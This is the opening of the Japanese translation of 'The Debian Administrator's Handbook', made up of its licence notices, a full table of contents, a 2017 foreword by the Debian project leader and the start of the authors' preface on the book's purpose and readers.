Debian Jessie from Discovery to Mastery

THE DEBIAN ADMINISTRATOR'S HANDBOOK

Raphaël Hertzog Roland Mas

Debian 管理者ハンドブック

Debian Stretch との出会いから習熟まで

Raphaël Hertzog、Roland Mas

Freexian SARL

Sorbiers

Debian 管理者ハンドブック

Raphaël Hertzog、Roland Mas

製作著作 © 2003-2017 Raphaël Hertzog

製作著作 © 2006-2015 Roland Mas

製作著作 © 2012-2017 Freexian SARL

ISBN: 979-10-91414-16-6 (英語ペーパーバック版)

ISBN: 979-10-91414-17-3 (英語電子ブック版)

本書は Debian フリーソフトウェアガイドラインと互換性を持つ 2 種類のライセンスの下で利用できます。

クリエイティブコモンズライセンスの通知 本書はクリエイティブコモンズ表示-継承 3.0 非移植ライセンスの下で許諾されます。

➡ `http://creativecommons.org/licenses/by-sa/3.0/`

GNU 一般公衆利用許諾の通知 本書は自由な文書です。つまり、あなたはこれを、フリーソフトウェア財団によって発行された GNU 一般公衆利用許諾書 (バージョン 2 か、それ以降のバージョンのうちどれか) が定める条件の下で再頒布または改変することが可能です。

本書は有用であることを願って頒布されますが、「全くの無保証」です。それどころか、商業可能性の保証や特定目的への適合性は、言外に示されたものも含め、全く存在しません。詳しくは GNU 一般公衆利用許諾書をご覧ください。

あなたはこのプログラムとともに、GNU 一般公衆利用許諾書のコピーを 1 部受け取っているはずです。もし受け取っていなければ、`http://www.gnu.org/licenses/` をご覧ください。

感謝の気持ちを表すには

われわれ著者は本書が読者の皆様の役に立つことを願っております。そのため、本書は自由なライセンスの下に出版されています。とは言うものの、本書をメンテナンスすることには時間と大きな努力が必要で、われわれ著者はこの点について感謝されることをありがたく思っています。もし本書が有益であると感じたのなら、ペーパーバックを購入したり本書の公式ウェブサイト経由で寄付することで、本書の継続的なメンテナンスに貢献することをご一考ください。

➡ `http://debian-handbook.info`

目次

1. Debian プロジェクト 1

1.1 Debian とは? 2

1.1.1 マルチプラットフォームオペレーティングシステム 2

1.1.2 フリーソフトウェアの品質 4

1.1.3 法律的枠組み: 非営利組織 4

1.2 基本文書 5

1.2.1 ユーザに向けた約束 5

1.2.2 Debian フリーソフトウェアガイドライン 6

1.3 Debian プロジェクトの内部の仕組み 9

1.3.1 Debian 開発者 9

1.3.2 ユーザの積極的役割 13

1.3.3 チームとサブプロジェクト 16

現存する Debian サブプロジェクト 16

管理チーム 17

開発チーム、横断チーム 19

1.4 Debian ニュースを追いかける 20

1.5 ディストリビューションの役割 22

1.5.1 インストーラ、`debian-installer` 22

1.5.2 ソフトウェアライブラリ 22

1.6 リリースライフサイクル 23

1.6.1 **実験版**状態 23

1.6.2 **不安定版**状態 23

1.6.3 **テスト版**への移行 24

1.6.4 **テスト版**から**安定版**への昇格 25

1.6.5 **旧安定版**と**前旧安定版**状態 29

2. ケーススタディの提示 31

2.1 急成長する IT の必要性 32

2.2 基本計画 32

2.3 GNU/Linux ディストリビューションを選ぶ理由とは? 33

2.4 Debian ディストリビューションを選ぶ理由とは? 35

2.4.1 商用とコミュニティ主導のディストリビューション 35

2.5 Debian Stretch を選ぶ理由とは? 36

3. 既存環境の解析と移行 39

3.1 異機種環境の共存 40

3.1.1 Windows マシンとの統合 . . . 40
3.1.2 OS X マシンとの統合 . . . 40
3.1.3 他の Linux/Unix マシンとの統合 . . . 40
3.2 移行の方法 . . . 41
3.2.1 サービスの調査と確認 . . . 41
ネットワークとプロセス . . . 41
3.2.2 設定のバックアップ . . . 42
3.2.3 既存の Debian サーバの引き継ぎ . . . 43
3.2.4 Debian のインストール . . . 44
3.2.5 選ばれたサービスのインストールと設定 . . . 44
4. インストール 47
4.1 インストール方法 . . . 48
4.1.1 CD-ROM/DVD-ROM からのインストール . . . 48
4.1.2 USB メモリからの起動 . . . 49
4.1.3 ネットワークブート経由のインストール . . . 50
4.1.4 その他のインストール方法 . . . 50
4.2 インストール作業の各段階 . . . 50
4.2.1 起動とインストーラの開始 . . . 50
4.2.2 言語の選択 . . . 52
4.2.3 国の選択 . . . 53
4.2.4 キーボードレイアウトの選択 . . . 54
4.2.5 ハードウェアの検出 . . . 54
4.2.6 コンポーネントの読み込み . . . 54
4.2.7 ネットワークハードウェアの検出 . . . 54
4.2.8 ネットワークの設定 . . . 55
4.2.9 管理者パスワード . . . 55
4.2.10 1 人目のユーザの作成 . . . 56
4.2.11 時刻の設定 . . . 57
4.2.12 ディスクや他のデバイスの検出 . . . 57
4.2.13 パーティショニングツールの開始 . . . 57
ガイド付きパーティショニング . . . 59
手作業のパーティショニング . . . 61
マルチディスクデバイスの設定 (ソフトウェア RAID) . . . 63
論理ボリュームマネージャ (LVM) の設定 . . . 63
暗号化されたパーティションの設定 . . . 64
4.2.14 基本システムのインストール . . . 65
4.2.15 パッケージマネージャ (apt) の設定 . . . 65
4.2.16 Debian パッケージ人気コンテスト . . . 66
4.2.17 インストールするパッケージの選択 . . . 67
4.2.18 GRUB ブートローダのインストール . . . 67
4.2.19 インストールの完了と再起動 . . . 68
4.3 初回起動の後 . . . 68
4.3.1 追加ソフトウェアのインストール . . . 69

4.3.2 システムのアップグレード 70

5. パッケージシステム、ツールと基本原則 73

5.1 バイナリパッケージの構造 74

5.2 パッケージのメタ情報 76

5.2.1 説明、control ファイル 76

依存関係、Depends フィールド 77

衝突、Conflicts フィールド 78

不適合性、Breaks フィールド 79

提供されるアイテム、Provides フィールド 79

ファイルの置き換え、Replaces フィールド 81

5.2.2 設定スクリプト 82

パッケージのインストールとアップグレード 83

パッケージの削除 83

5.2.3 チェックサム、設定ファイルのリスト 84

5.3 ソースパッケージの構造 86

5.3.1 フォーマット 86

5.3.2 Debian 内での使われ方 88

5.4 dpkg を用いたパッケージの操作 89

5.4.1 パッケージのインストール 89

5.4.2 パッケージの削除 91

5.4.3 dpkg のデータベースへの問い合わせと .deb ファイルの調査 91

5.4.4 dpkg のログファイル 95

5.4.5 マルチアーキテクチャサポート 95

マルチアーキテクチャの有効化 96

マルチアーキテクチャ関連の変更 97

5.5 他のパッケージングシステムとの共存 97

6. メンテナンスと更新、APT ツール 101

6.1 sources.list ファイルの内容 102

6.1.1 構文 102

6.1.2 安定版ユーザ用リポジトリ 103

セキュリティ更新 104

安定版更新 105

提案された更新 105

安定版バックポート 105

6.1.3 テスト版/不安定版ユーザ向けリポジトリ 106

実験版リポジトリ 107

6.1.4 非公式リソース、mentors.debian.net 107

6.1.5 Debian パッケージのキャッシュプロキシ 108

6.2 aptitude、apt-get、apt コマンド 109

6.2.1 初期設定 109

6.2.2 インストールと削除 109

6.2.3 システムのアップグレード 111

6.2.4 設定オプション 113

6.2.5 パッケージ優先度の管理 . . . 113
6.2.6 複数ディストリビューションの利用 . . . 116
6.2.7 自動的にインストールされたパッケージの追跡 . . . 117
6.3 apt-cache コマンド . . . 118
6.4 フロントエンド、aptitude、synaptic . . . 119
6.4.1 aptitude . . . 119
推奨パッケージ、提案パッケージ、タスクの管理 . . . 121
より良い解決アルゴリズム . . . 122
6.4.2 synaptic . . . 122
6.5 パッケージ信頼性の確認 . . . 123
6.6 安定版から次のディストリビューションへのアップグレード . . . 125
6.6.1 推奨手順 . . . 125
6.6.2 アップグレードの後から問題を取り扱う . . . 126
6.7 システムを最新の状態に保つ . . . 127
6.8 自動アップグレード . . . 129
6.8.1 dpkg の設定 . . . 129
6.8.2 APT の設定 . . . 129
6.8.3 debconf の設定 . . . 129
6.8.4 コマンドラインインターフェースの制御 . . . 129
6.8.5 奇跡の組み合わせ . . . 130
6.9 パッケージの検索 . . . 130
7. 問題の解決と関連情報の探索 135
7.1 情報源となる文書 . . . 136
7.1.1 マニュアルページ . . . 136
7.1.2 **info** 文書 . . . 138
7.1.3 独自の文書 . . . 139
7.1.4 ウェブサイト . . . 139
7.1.5 チュートリアル (**HOWTO**) . . . 140
7.2 常套手段 . . . 140
7.2.1 プログラムの設定 . . . 141
7.2.2 デーモンの挙動を監視する . . . 141
7.2.3 メーリングリストで助けを求める . . . 142
7.2.4 問題が難しすぎる場合のバグ報告 . . . 143
8. 基本設定、ネットワーク、アカウント、印刷... 145
8.1 他の言語用にシステムを設定 . . . 146
8.1.1 デフォルト言語の設定 . . . 146
8.1.2 キーボードの設定 . . . 147
8.1.3 UTF-8 への移行 . . . 148
8.2 ネットワークの設定 . . . 149
8.2.1 イーサネットインターフェース . . . 150
8.2.2 PSTN モデム経由の PPP 接続 . . . 151
8.2.3 ADSL モデム経由の接続 . . . 151
PPPOE をサポートするモデム . . . 152

PPTP をサポートするモデム . . . 153
DHCP をサポートするモデム . . . 153
8.2.4 ローミングユーザ向けの自動ネットワーク設定 . . . 153
8.3 ホスト名と名前解決サービスの設定 . . . 154
8.3.1 名前解決 . . . 155
DNS サーバの設定 . . . 155
/etc/hosts ファイル . . . 155
8.4 ユーザとグループのデータベース . . . 156
8.4.1 ユーザリスト、/etc/passwd . . . 157
8.4.2 隠された暗号化パスワードファイル、/etc/shadow . . . 157
8.4.3 既存のアカウントやパスワードの変更 . . . 158
8.4.4 アカウントの失効 . . . 158
8.4.5 グループリスト、/etc/group . . . 158
8.5 アカウントの作成 . . . 159
8.6 シェル環境 . . . 160
8.7 プリンタ設定 . . . 161
8.8 ブートローダの設定 . . . 162
8.8.1 ディスクの識別 . . . 162
8.8.2 LILO の設定 . . . 165
8.8.3 GRUB 2 の設定 . . . 166
8.8.4 Macintosh コンピュータ (PowerPC) の場合、Yaboot の設定 . . . 166
8.9 その他の設定: 時刻同期、ログ、共有アクセス… . . . 167
8.9.1 タイムゾーン . . . 168
8.9.2 時刻同期 . . . 169
ワークステーション向けの設定 . . . 170
サーバ向けの設定 . . . 170
8.9.3 ログファイルの循環 . . . 170
8.9.4 管理者権限の共有 . . . 170
8.9.5 マウントポイントのリスト . . . 171
8.9.6 locate と updatedb . . . 173
8.10 カーネルのコンパイル . . . 173
8.10.1 前置きと前提条件 . . . 174
8.10.2 ソースの取得 . . . 174
8.10.3 カーネルの設定 . . . 175
8.10.4 パッケージのコンパイルとビルド . . . 176
8.10.5 外部モジュールのコンパイル . . . 177
8.10.6 カーネルパッチの適用 . . . 178
8.11 カーネルのインストール . . . 179
8.11.1 Debian カーネルパッケージの特徴 . . . 179
8.11.2 dpkg を使ったインストール . . . 179
9. Unix サービス 181
9.1 システム起動 . . . 182
9.1.1 systemd init システム . . . 183

9.1.2 System V init システム . . . 188
9.2 リモートログイン . . . 191
9.2.1 安全なリモートログイン、SSH . . . 191
鍵認証方式 . . . 192
リモートの X11 アプリケーションを使う . . . 194
ポート転送を使った暗号化トンネルの作成 . . . 194
9.2.2 リモートグラフィカルデスクトップの利用 . . . 195
9.3 権限の管理 . . . 197
9.4 管理インターフェース . . . 199
9.4.1 ウェブインターフェースを使った管理、webmin . . . 200
9.4.2 パッケージの設定、debconf . . . 201
9.5 syslog システムイベント . . . 201
9.5.1 原理とメカニズム . . . 201
9.5.2 設定ファイル . . . 202
セレクタの構文 . . . 203
アクションの構文 . . . 203
9.6 inetd スーパーサーバ . . . 204
9.7 cron と atd を使ったスケジューリングタスク . . . 205
9.7.1 crontab ファイルの書式 . . . 206
9.7.2 at コマンドの利用 . . . 208
9.8 非同期タスクのスケジューリング、anacron . . . 208
9.9 クォータ . . . 209
9.10 バックアップ . . . 210
9.10.1 rsync を使ったバックアップ . . . 211
9.10.2 バックアップなしのマシンの復元 . . . 213
9.11 ホットプラグ機能、**hotplug** . . . 214
9.11.1 前書き . . . 214
9.11.2 命名問題 . . . 214
9.11.3 **udev** の動作原理 . . . 215
9.11.4 具体例 . . . 216
9.12 電源管理、Advanced Configuration and Power Interface (ACPI) . . . 218
10. ネットワークインフラ 221
10.1 ゲートウェイ . . . 222
10.2 仮想プライベートネットワーク . . . 224
10.2.1 OpenVPN . . . 224
公開鍵基盤、easy-rsa . . . 224
OpenVPN サーバの設定 . . . 228
OpenVPN クライアントの設定 . . . 229
10.2.2 SSH を使った仮想プライベートネットワーク . . . 229
10.2.3 IPsec . . . 230
10.2.4 PPTP . . . 230
クライアントの設定 . . . 230
サーバの設定 . . . 232

10.3 Quality of Service . . . 234
10.3.1 原理とメカニズム . . . 234
10.3.2 設定と実践 . . . 235
待ち時間の低減、wondershaper . . . 235
標準的な設定 . . . 236
10.4 動的ルーティング . . . 236
10.5 IPv6 . . . 237
10.5.1 トンネル . . . 238
10.6 ドメインネームサーバ (DNS) . . . 239
10.6.1 原理とメカニズム . . . 239
10.6.2 設定 . . . 240
10.7 DHCP . . . 242
10.7.1 設定 . . . 243
10.7.2 DHCP と DNS . . . 244
10.8 ネットワーク診断ツール . . . 244
10.8.1 ローカルの診断、netstat . . . 244
10.8.2 リモートの診断、nmap . . . 246
10.8.3 スニファ、tcpdump と wireshark . . . 247

11. ネットワークサービス、Postfix、Apache、NFS、Samba、Squid、LDAP、SIP、XMPP、TURN 251
11.1 メールサーバ . . . 252
11.1.1 Postfix のインストール . . . 252
11.1.2 仮想ドメインの設定 . . . 255
仮想エイリアスドメイン . . . 255
仮想メールボックスドメイン . . . 256
11.1.3 受信と送信の制限 . . . 257
IP に基づくアクセス制限 . . . 257
EHLO または HELO コマンドの妥当性確認 . . . 259
申告された送信者アドレスに基づく受け入れおよび拒否 . . . 259
受信者アドレスに基づく受け入れおよび拒否 . . . 260
DATA コマンドに関連付けられた制限 . . . 261
拒否応答の送信段階 . . . 261
メッセージ内容に基づくフィルタリング . . . 261
11.1.4 **greylisting** の設定 . . . 262
11.1.5 受信者アドレスに基づくフィルタのカスタマイズ . . . 264
11.1.6 アンチウイルスの統合 . . . 265
11.1.7 SMTP 認証 . . . 266
11.2 ウェブサーバ (HTTP) . . . 267
11.2.1 Apache のインストール . . . 268
11.2.2 仮想ホストの設定 . . . 269
11.2.3 よく使われる指示文 . . . 271
認証要求 . . . 272
アクセス制限 . . . 272

11.2.4 ログ解析ソフトウェア . . . 273
11.3 FTP ファイルサーバ . . . 275
11.4 NFS ファイルサーバ . . . 276
11.4.1 NFS の安全確保 . . . 276
11.4.2 NFS サーバ . . . 277
11.4.3 NFS クライアント . . . 278
11.5 Samba を使った Windows 共有のセットアップ . . . 278
11.5.1 Samba サーバ . . . 279
debconf を使った設定 . . . 279
手作業による設定 . . . 279
11.5.2 Samba クライアント . . . 280
smbclient プログラム . . . 281
Windows 共有のマウント . . . 281
共有プリンタを用いた印刷 . . . 281
11.6 HTTP/FTP プロキシ . . . 282
11.6.1 インストール . . . 282
11.6.2 キャッシュの設定 . . . 282
11.6.3 フィルタの設定 . . . 283
11.7 LDAP ディレクトリ . . . 283
11.7.1 インストール . . . 284
11.7.2 ディレクトリへの書き込み . . . 285
11.7.3 LDAP を用いたアカウントの管理 . . . 286
NSS の設定 . . . 286
PAM の設定 . . . 288
安全な LDAP データ交換 . . . 288
11.8 リアルタイムコミュニケーションサービス . . . 291
11.8.1 RTC サービス用の DNS 設定 . . . 292
11.8.2 TURN サーバ . . . 293
TURN サーバのインストール . . . 293
TURN ユーザの管理 . . . 293
11.8.3 SIP プロキシサーバ . . . 293
SIP プロキシのインストール . . . 294
SIP プロキシの管理 . . . 295
11.8.4 XMPP サーバ . . . 295
XMPP サーバのインストール . . . 296
XMPP サーバの管理 . . . 296
11.8.5 ポート 443 番でサービスを実行する . . . 297
11.8.6 WebRTC の追加 . . . 297
12. 高度な管理 301
12.1 RAID と LVM . . . 302
12.1.1 ソフトウェア RAID . . . 302
さまざまな RAID レベル . . . 303
RAID の設定 . . . 305

設定のバックアップ . . . 311
12.1.2 LVM . . . 312
LVM の概念 . . . 312
LVM の設定 . . . 313
経時変化に伴う LVM の利便性 . . . 318
12.1.3 RAID それとも LVM? . . . 320
12.2 仮想化 . . . 322
12.2.1 Xen . . . 323
12.2.2 LXC . . . 329
準備段階 . . . 330
ネットワークの設定 . . . 330
システムのセットアップ . . . 331
コンテナの開始 . . . 332
12.2.3 KVM を使った仮想化 . . . 334
準備段階 . . . 334
ネットワークの設定 . . . 335
virt-install を使ったインストール . . . 335
virsh を使ったマシンの管理 . . . 337
yum を使い RPM に基づくシステムを Debian の中にインストールする . . . 338
12.3 自動インストール . . . 339
12.3.1 Fully Automatic Installer (FAI) . . . 339
12.3.2 Debian-Installer の事前設定 . . . 341
preseed ファイルの利用 . . . 341
preseed ファイルの作成 . . . 342
カスタマイズされた起動メディアの作成 . . . 342
12.3.3 Simple-CDD、一体型の解決策 . . . 343
プロファイルの作成 . . . 344
build-simple-cdd の設定と利用 . . . 344
ISO イメージの生成 . . . 345
12.4 監視 . . . 345
12.4.1 Munin のセットアップ . . . 346
監視対象ホストの設定 . . . 346
グラフ化担当マシンの設定 . . . 347
12.4.2 Nagios のセットアップ . . . 348
インストール . . . 348
設定 . . . 349
13. ワークステーション 355
13.1 X11 サーバの設定 . . . 356
13.2 グラフィカルインターフェースのカスタマイズ . . . 357
13.2.1 ディスプレイマネージャの選択 . . . 357
13.2.2 ウィンドウマネージャの選択 . . . 358
13.2.3 メニュー管理 . . . 359
13.3 グラフィカルデスクトップ . . . 359

13.3.1 GNOME . . . 359
13.3.2 KDE . . . 360
13.3.3 Xfce とその他 . . . 361
13.4 電子メール . . . 362
13.4.1 Evolution . . . 362
13.4.2 KMail . . . 363
13.4.3 Thunderbird と Icedove . . . 364
13.5 ウェブブラウザ . . . 365
13.6 開発 . . . 367
13.6.1 GNOME 上の GTK+ 用ツール . . . 367
13.6.2 KDE 上の Qt 用ツール . . . 367
13.7 共同作業 . . . 367
13.7.1 グループで行う作業、**グループウェア** . . . 367
13.7.2 FusionForge を使った共同作業 . . . 368
13.8 オフィススイート . . . 368
13.9 Windows のエミュレート、Wine . . . 369
13.10 リアルタイムコミュニケーションソフトウェア . . . 371
14. セキュリティ 375
14.1 セキュリティポリシーの定義 . . . 376
14.2 ファイアウォールとパケットフィルタリング . . . 377
14.2.1 netfilter の挙動 . . . 378
14.2.2 `iptables` と `ip6tables` の構文 . . . 380
コマンド . . . 380
ルール . . . 381
14.2.3 ルールの作成 . . . 382
14.2.4 起動時にルールを適用する . . . 383
14.3 監督、防止、検出、監査 . . . 384
14.3.1 `logcheck` を使ったログ監視 . . . 384
14.3.2 監視活動 . . . 385
リアルタイム監視 . . . 385
履歴 . . . 385
14.3.3 変更検出 . . . 386
`dpkg --verify` を使ったパッケージ監視 . . . 386
パッケージの監査、`debsums` とその限界 . . . 387
ファイル監視、AIDE . . . 387
14.3.4 侵入検知 (IDS/NIDS) . . . 389
14.4 AppArmor の紹介 . . . 390
14.4.1 原理 . . . 390
14.4.2 AppArmor の有効化と AppArmor プロファイルの管理 . . . 390
14.4.3 新規プロファイルの作成 . . . 391
14.5 SELinux の紹介 . . . 397
14.5.1 原理 . . . 397
14.5.2 SELinux のセットアップ . . . 400

14.5.3 SELinux システムの管理 401
SELinux モジュールの管理 401
ユーザの身元管理 402
ファイルコンテキスト、ポート、ブール値の管理 403
14.5.4 ルールの適用 404
.fc ファイルの書き方 404
.if ファイルの書き方 404
.te ファイルの書き方 406
ファイルのコンパイル 408
14.6 セキュリティ関連で他に考慮すべき点 410
14.6.1 ウェブアプリケーションの持つ潜在的危険性 410
14.6.2 予測される結果を知る 410
14.6.3 賢い方法でソフトウェアを選ぶ 412
14.6.4 マシン全体の管理 412
14.6.5 内部ユーザからの保護 413
14.6.6 物理セキュリティ 413
14.6.7 法的責任 413
14.7 不正侵入されたマシンの取り扱い 414
14.7.1 クラッカー不正侵入の検出と観察 414
14.7.2 サーバをオフラインにする 415
14.7.3 証拠として使えるすべての保存 415
14.7.4 再インストール 416
14.7.5 フォレンジック解析 416
14.7.6 攻撃シナリオの再構成 417
15. Debian パッケージの作成 421
15.1 ソースを使ったパッケージの再ビルド 422
15.1.1 ソースの取得 422
15.1.2 修正を行う 422
15.1.3 再ビルドの開始 424
15.2 最初のパッケージのビルド 425
15.2.1 メタパッケージやフェイクパッケージ 425
15.2.2 単純なファイルアーカイブ 426
15.3 APT 用のパッケージリポジトリの作成 429
15.4 パッケージメンテナになる 432
15.4.1 パッケージを作るための知識 432
規則 432
手続き 432
ツール 432
15.4.2 受け入れ過程 434
必要条件 434
登録 434
原則の受け入れ 435
能力の確認 435

最後の承認 436

16. 結論、Debian の未来 439

16.1 今後の開発 440
16.2 Debian の未来 440
16.3 本書の将来 441

A. 派生ディストリビューション 443

A.1 派生物調査と協力体制 443
A.2 Ubuntu 443
A.3 Linux Mint 444
A.4 Knoppix 445
A.5 Aptosid と Siduction 445
A.6 Grml 446
A.7 Tails 446
A.8 Kali Linux 446
A.9 Devuan 446
A.10 Tanglu 446
A.11 DoudouLinux 447
A.12 Raspbian 447
A.13 その他 447

B. 簡単な補習講座 449

B.1 シェルと基本コマンド 449
B.1.1 ディレクトリツリーの閲覧とファイル管理 449
B.1.2 テキストファイルの表示と編集 450
B.1.3 ファイルとファイル内容の検索 451
B.1.4 プロセス管理 451
B.1.5 システム情報、メモリ、ディスク領域、識別情報 451
B.2 ファイルシステム階層の構成 452
B.2.1 ルートディレクトリ 452
B.2.2 ユーザのホームディレクトリ 453
B.3 コンピュータ内部の仕組み、さまざまな層の関係性 453
B.3.1 最下層、ハードウェア 454
B.3.2 スタート係、BIOS や UEFI 454
B.3.3 カーネル 456
B.3.4 ユーザ空間 456
B.4 カーネルが担当している一部の操作 456
B.4.1 ハードウェアの操作 456
B.4.2 ファイルシステム 457
B.4.3 機能の共有 458
B.4.4 プロセス管理 458
B.4.5 権限管理 459
B.5 ユーザ空間 459
B.5.1 プロセス 459

B.5.2 デーモン 460
B.5.3 プロセス間通信 460
B.5.4 ライブラリ 462

索引 463

序文

Debian に興味を持っていただきありがとうございます。本書の執筆時点で、10% を超えるウェブサーバが Debian で運用されています。考えてみてください; もし今 Debian がなかったら、いくつのウェブサイトが消えてしまうのでしょうか?

Debian は国際宇宙ステーション (ISS) で採用されているオペレーティングシステムであり、数え切れないほど多くの大学・企業・行政機関が世界中とはるか彼方にいる何百万のユーザーへ向けてサービスを提供するため Debian に依存しています。まさしく Debian は大きな成功を収めたオペレーティングシステムで、人々の想像・認識よりもわれわれの生活に深く浸透しているのです。

ですが、Debian は「単なる」オペレーティングシステムにはとどまりません。1 番目として Debian は、人々はコンピュータに対する依存度が高まりつつある世界からの恩恵を享受すべきである、という自由についての具体的な理念です。Debian は、人々は自分のデバイスを己の支配下におくべきであり、デバイスに支配されるべきではない、というフリーソフトウェア理念の坩堝から生まれています。十分な知識を持っている人なら、自分にとって重要なソフトウェアを分解、改変、再構築、共有できるはずです。そのソフトウェアがたわいもない作業に使われるものか、命に関わるような目的に使われるものかにかかわらず、人々はソフトウェアを支配下に置くべきです。

2 番目として Debian は、その独立性に強く付随する非常に独特な社会実験です。Debian は完全にボランティア主導で、各々の貢献者が Debian を機能させるのに必要なすべての責任を負っており、企業や組織から作業を委任されたり割り当てられているのではありません。すなわち Debian は人々の自由を促進するという目標とは違うかもしれない方針を持つ企業の商業的利権および気まぐれによって運営されないことが保証されています。

あなたの手元にある本書は他の本と全く異なっています。本書は **free as in freedom** な書籍、言い換えればデジタルライフのあらゆる側面で Debian の規範に従う書籍です。あなたは本書を `apt install` でインストールしたり、再配布したりできます。「フォーク」することもできますし、それどころかバグを報告したり、パッチを投稿したりすることも可能です (そうすることで他の読者があなたの意見の恩恵を受けられるようになります)。本書のメンテナは本書の著者でもあり、Debian プロジェクトのメンバーとして長期にわたって活動し続けており、Debian プロジェクトのすべての側面に浸透している精神を正確に理解しています。

本書を執筆および出版することで、本書の著者は Debian コミュニティに対して本当に素敵な貢献をしているのです。

2017 年 5 月

Chris Lamb (Debian プロジェクトリーダー)

前書き

今や Linux は何年にもわたり力を蓄え続け、その高まる人気によってより多くのユーザを魅了しています。Linux 人気の波に乗るための第一歩はディストリビューションを選ぶことです。各ディストリビューションはそれぞれ異なる特徴を持っているため、ディストリビューションを選ぶことは重要です。さらに、最初から適切なディストリビューションを選んでいれば将来の乗り換えコストを避けることができるのです。

BACK TO BASICS

Linux ディストリビューション、Linux カーネル

厳密に言えば、Linux とはカーネル (ハードウェアとアプリケーションの間に位置するソフトウェアの中核部分) だけを指しています。

「Linux ディストリビューション」は完全なオペレーティングシステムです。その上、「Linux ディストリビューション」には通常、Linux カーネル、インストーラプログラム、そして最も重要なことですがコンピュータを実際に役立つ道具に変えるためのアプリケーションとその他のソフトウェアが含まれています。

Debian GNU/Linux は多くのユーザにぴったりの「汎用的な」Linux ディストリビューションです。本書の目的は、読者の皆様が十分な情報に基づいてディストリビューションを選ぶことができるようにするために、Debian GNU/Linux のさまざまな側面を示すことです。

本書の目的とは?

CULTURE

商用ディストリビューション

多くの Linux ディストリビューションはある種の商業計画の下にディストリビューションを開発、販売する営利目的の企業から支援を受けています。そのような Linux ディストリビューションの例として、**Canonical Ltd.** が主に開発している **Ubuntu**、**Red Hat** が主に開発している **Red Hat Enterprise Linux**、**Novell** がメンテナンスと市販を行っている **SUSE Linux** などが挙げられます。

その対極に、Debian や Apache ソフトウェア財団 (Apache ウェブサーバの開発を主導しています) のようなものがあります。Debian はフリーソフトウェア世界におけるすべてのプロジェクトを超越し、インターネットを介して共同で作業を行うボランティアたちによって運営されています。一部のボランティアはさまざまな企業から報酬を受ける仕事の一部として Debian に関する作業を行っていますが、Debian プロジェクト全体はいかなる企業とも結び付いてはいませんし、ましてや特定の企業が純粋なボランティア貢献者が Debian プロジェクトの方針に口を出す際に持つ権利よりも大きな権利を持っているわけでもありません。

ここ数年の Linux に関するマスコミ報道の数はかなり多いものです。そしてこの点は主に実在するマーケティング部門によって支援されているディストリビューション、言い換えれば企業から支援を受けているディストリビューション (Ubuntu、Red Hat、SUSE など) の利益になっています。しかし Debian は決して重要度の低いディストリビューションではありません。それどころかここ数年間に行われた複数の調査によれば、

Debian はサーバとデスクトップの両方で広く使われていることが明らかになっています。特にウェブサーバで使われる Linux ディストリビューションはこの事実が特に当てはまる例で、Debian と Ubuntu はウェブサーバ用途で重要な Linux ディストリビューションになっています。

➡ https://w3techs.com/technologies/details/os-debian/all/all

本書の目的は Debian というディストリビューションの良さを理解する一助になることです。われわれ著者は 1998 年 (Raphaël) と 2000 年 (Roland) から開発者として Debian プロジェクトに参加し、参加後に集め続けた経験を共有したいと望んでいます。そして運が良ければ、読者の皆様にわれわれ著者の熱意が通じて、皆様がいつかわれわれ著者の仲間になることを願っています…。

本書の初版 (2004 年) は長いブランク期間に幕を引くという目的を果たしました。そして、本書の初版は Debian だけに注目してフランス語で書かれた初めての書籍でした。当時、Debian に関して書かれた他の多くの書籍はフランス語および英語を話す読者向けに書かれていました。残念なことに、このような書籍のほとんどすべてが更新されておらず、何年も Debian に関する良い書籍がほとんどない状況が続いていました。われわれ著者は英語に翻訳されて (英語からさらに他の言語に翻訳されて) から新たな人生が始まった本書がこの状況を打ち破り多くのユーザの助けになることを望んでいます。

本書の対象者とは?

われわれ著者は本書がさまざまな種類の読者にとって有益になるように心がけました。第一に、システム管理者 (新米もベテランも) 向けに多数のコンピュータへ Debian をインストールしてそれらを配備する方法についての説明を載せています。また、Debian で利用できるほとんどのサービスの説明、併せて設定項目の説明と具体的に Debian でそれを設定する方法も載せています。システム管理者は、手助けが常に Debian コミュニティの内部から得られるものであるという点を理解し、Debian の開発に関連する仕組みを理解することで不測の問題に対処できるようになるでしょう。

他の Linux ディストリビューションや他の Unix 系 OS のユーザは、Debian の特徴の良さを理解し、Debian ディストリビューションに特有の利点から恩恵を十分に受けるのと同時に極めて短期間で Debian を操作できるようになるでしょう。

最後に、既に Debian に関する知識をある程度持っており Debian の背後にあるコミュニティについてさらに知りたいと思っている読者はその期待が満足されるでしょう。本書を読めば、読者は貢献者としてコミュニティに参加する敷居が下げられたと感じることでしょう。

本書の全体的な方針

Debian に含まれるフリーソフトウェアは非常に一般的なものであるため、GNU/Linux について書かれた一般的文書はどんなものでも Debian の参考文書として利用することが可能です。しかしながら Debian ディストリビューションには多くの改良が加えられています。そのためわれわれ著者は最初に「Debian 流」のやり方を説明することに決めました。

Debian の推薦に従うことは興味深いですが、推薦理由を理解することの方がさらに望ましいものです。そのため、われわれ著者は読者の皆様に包括的かつ一貫性のある知識を提供するために、実用的な説明だけでなくプロジェクトの仕組みに関する説明も載せています。

本書の構造

本書は取り上げられたすべてのトピックについて文章と図で解説しながらケーススタディを中心に話を展開する方針を採っています。

NOTE

ウェブサイト、著者の電子メールアドレス

本書には専用のウェブサイトが用意されており、このウェブサイトには本書をより有益なものにする要素がなんでも載せられています。具体的には、クリックできるリンクを備えた本書のオンライン版と正誤表を提供しています。ご自由にご覧になって、フィードバックを送ってください。われわれ著者はコメントやサポートメッセージを歓迎します。メールは hertzog@debian.org (Raphaël) と lolando@debian.org (Roland) 宛にお願いします。

➨ `http://debian-handbook.info/`

第 1 章では Debian プロジェクトの技術的でない部分に注目し、プロジェクトの目標と組織について説明します。これは重要な視点です。なぜなら、Debian プロジェクトの目標と組織が Debian の一般的な運営方針を規定しているからです。Debian の一般的な運営方針は他の章で具体的な情報を伴って説明されています。

第 2 章と第 3 章では本書で取り上げるケーススタディの概略を述べています。この時点で、新米管理者の皆様は**付録 B** を読んでください。**付録 B** では多くの基本的なコンピュータに関する概念と Unix システム全般に内在する概念が説明されています。

実際の作業を行うマシンを準備するためにはインストール作業 (**第 4 章**) から始めるのが自然です。さらに**第 5 章と第 6 章**では、すべての Debian 管理者が使う基本的なツールである **APT** ファミリーが紹介されています。**APT** ファミリーは Debian ディストリビューションの素晴らしい評価に大きく貢献しています。**第 5 章と第 6 章**は専門家のためだけに用意された章ではありません。なぜなら、自宅では誰もが自分自身を管理する立場になるからです。

第 7 章は導入部としての重要な役割を担っています。この章では、問題の解決に向けて、文書を効果的に使い問題を素早く理解するための作業手順が説明されています。

